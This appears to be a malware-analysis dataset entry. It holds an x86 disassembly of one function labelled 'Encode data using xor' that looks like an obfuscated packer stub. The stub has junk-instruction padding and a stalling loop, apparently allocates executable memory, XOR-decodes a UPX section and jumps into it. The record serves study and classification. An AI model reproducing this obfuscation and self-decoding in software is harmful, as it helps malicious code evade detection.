Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x53b4a4f3
not esi
sub esi, 0x4f75073f
popal
sub eax, 0xdace7c2b
inc eax
mov ebx, 0
mov ecx, eax
mov esi, edi
mov edi, 0x69e8b9f2
sub esi, 0x562476bb
mov edx, ecx
dec esi
add edi, 0x20c03ed6
mov esi, edi
mov eax, edx
sub edi, esi
sub edi, esi
inc ebx
sub esi, edi
inc edi
cmp ebx, 0x1006b17
jne 0xa789c7
mov esi, 0x7110eef7
mov edi, 0x2868cbd3
or esi, esi
sub esi, eax
inc eax
mov edx, 0xa78796
or ecx, ecx
inc ebx
dec ecx
mov eax, 0xa7898a
add ecx, edi
and ebx, edi
mov esi, dword [edx]
sub ecx, 0x115bfefc
or ecx, ebx
and esi, 0xff
add ebx, 0x27942227
not ecx
xor dword [eax], esi
mov edi, ebx
dec ecx
inc eax
inc ecx
add ecx, ecx
sub ecx, ebx
inc edx
sub edi, 0xfa25a233
sub edi, 1
cmp eax, entry0
jl 0xa78a18
or ebx, ebx
add ebx, 0xfa49c6d5
sub ecx, 0x7f574543
sub edi, ecx
sub ecx, 0x7bd7cc1b
and ebx, esi
sub edx, 1
mov edi, 0xa7898e
add ecx, 0xce8a2e2f
add esi, 0xe6612f10
mov edi, dword [edi]
not ebx
add ecx, 1
sub esi, ecx
mov edi, dword [edi]
mov esi, ebx
add esi, ecx
and edx, edx
push edi
add esi, esi
and ecx, edx
mov edi, 0xa7898a
sub ecx, edx
add esi, 0x5788f24
mov edi, dword [edi]
not ecx
mov ecx, ebx
and esi, esi
mov edi, dword [edi]
sub ebx, 0x695fe3d8
not edx
sub edx, ecx
push 0xa78992
and ecx, esi
or ebx, ebx
mov ecx, ebx
call edi
mov edx, 0xba64b93f
sub ecx, ebx
sub ecx, esi
mov edi, dword [esp]
add esp, 4
sub edx, esi
and ebx, ebx
dec edx
push 0xa7899f
add ebx, 0xede8fcb0
and ecx, ecx
dec ecx
sub esp, 4
mov dword [esp], eax
mov ebx, 0xf6958d50
inc ecx
add ecx, ebx
call edi
dec esi
sub edx, 0x1d6c6e83
sub edx, 0xf1b6b26f
sub esp, 4
mov dword [esp], 0x40
and ecx, ebx
not edx
add edx, ecx
push 0x3000
sub esi, 0x7f5b637b
add edx, ecx
push 0x20000757
not edx
mov edx, ebx
add edx, ebx
push 0
or ebx, edx
sub ebx, 1
not ebx
call eax
sub esi, ecx
mov edx, ebx
mov edx, 0xfb55112a
add eax, 0x200006d4
sub esi, 1
or esi, edx
not esi
mov edi, 0xefa11680
not ecx
mov ecx, 0xaf950ae1
sub esi, 0xb7a5404c
mov dword [eax], edi
inc esi
inc ecx
mov edi, dword [eax]
add esi, ebx
inc esi
add edx, edx
cmp edi, 0xefa11680
je 0xa78b87
mov edx, 0
mov dword [edx], ebx
mov ebx, 0x17ad938e
inc esi
and edx, ebx
add ebx, 0x6387ff15
inc esi
dec esi
not eax
sub esi, 0x2440b917
mov edx, section.UPX1
sub eax, 0x3bf157a5
add eax, 0x23e5c91e
add eax, eax
mov ecx, 0xa78795
inc esi
sub esi, 0xc21bd100
mov ebx, 0
and eax, esi
sub eax, esi
mov edi, 0xa78796
and eax, esi
inc eax
sub esi, 0xb83d4919
lea edi, [ebx + edi]
or eax, eax
or eax, eax
mov edi, dword [edi]
or eax, esi
sub esi, 0xb77c3a9d
and edi, 0xff
mov eax, esi
and esi, esi
add ebx, 1
dec esi
sub esi, eax
mov eax, 0x7850ebbe
cmp ebx, 0x1f4
jne 0xa78c0b
mov ebx, 0
sub esi, 1
or esi, eax
and esi, esi
mov eax, 0x782f547
not esi
xor dword [edx], edi
inc esi
or esi, esi
add edx, 2
sub esi, 0x2ef5d5eb
dec esi
cmp edx, ecx
jl 0xa78bc7
or eax, esi
mov eax, 0x3db6cc29
and esi, eax
dec eax
and esi, eax
mov eax, 0xf27bb918
mov esi, section.UPX1
not edi
mov edi, 0x37639fb
mov edx, section.UPX1
sub edi, eax
inc edi
mov ecx, 0xa78795
mov eax, edi
inc edi
dec eax
mov ebx, 0
sub edi, 1
add edi, edi
mov bl, byte [edx]
sub eax, edi
mov edi, eax
sub eax, 0xe121e93a
mov byte [esi], bl
and eax, edi
and edi, eax
inc esi
dec eax
and eax, edi
add edx, 2
add eax, 0xe1efb2c8
and eax, edi
mov eax, 0x7b7ffcbf
cmp edx, ecx
jle 0xa78c71
mov edi, 0x7355c747
or eax, eax
not edi
add eax, 0x28972f35
not eax
push 0x8dc6a0
sub esi, eax
mov esi, 0xbd04191a
ret